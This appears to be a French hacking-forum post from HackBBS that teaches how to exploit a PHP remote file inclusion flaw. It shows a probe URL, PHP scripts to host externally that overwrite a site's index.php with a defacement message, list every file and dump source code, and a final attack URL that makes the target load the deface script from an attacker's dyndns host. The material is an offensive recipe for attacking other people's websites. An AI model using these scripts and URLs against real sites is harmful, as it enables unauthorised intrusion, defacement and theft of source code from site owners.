HackBBS
Faille PHP include « HackBBS

Faille PHP include

Faille PHP include

Introduction

Le PHP au contraire de l’ HTML est dynamique, on peut changer le contenu de la page.
L’ URL http://www.site.com/index.php?page=Mikabou.php indique la redirection vers la page Mikabou.php
Pour exploiter une faille include il faut donc une URL de ce type http://www.lesite.fr/page.php?url=page.php
Pour voir si la faille est presente on va essayer de rediriger la page vers google tapez donc:
http://www.lesite.fr/page.php?url=http://www.google.fr  ou http://www.site.fr/page.php?var=http://www.google.fr
Là si Google apparaît dans le site , c’est que le site n’est apparemment pas protégé

Comment l’exploiter?

Pour pouvoir exploiter et defacer l’index il faut ajouter du code en utilisant la fonction
fwrite(). Il suffit de faire ce petit script php et de l’ héberger sur un compte comme Lycos

<?
$fp=fopen(”index.php”, w);
$msg=”Message qui apparait comme Defaced by Mikabou “;
fwrite($fp,$msg);
fclose($fp);
?>

lister le site

<?

function scann($rep){
$dir=opendir($rep);
while($file=readdir($dir)){
if(is_dir(”$rep/$file”)){
scann(”$rep/$file”);
}else{
echo “$rep/$file”;
}
}
}
scann(”.”);
?>

lire les fichier (ceci veut dire que vous aurez le code php non interpreter)

<?
$inF = fopen($file, “r”);
$j=”";
while (!feof($inF)) {
$j=$j.fgets($inF, 4096).”<br>”;
}
$j=’<font color=”#000000″>’.$j.’</font>’;
echo $j;
fclose($inF);
?>

Maintenant le code finie il suffit de rediriger la page, sur le script qui defacera l’ index. Exemple; http://www.lesite.fr/page.php?url=http://mikabou.dyndns.org/deface

Tags:

Leave a Reply


Nouveau défi
Défi audioDéfi visuel
Aide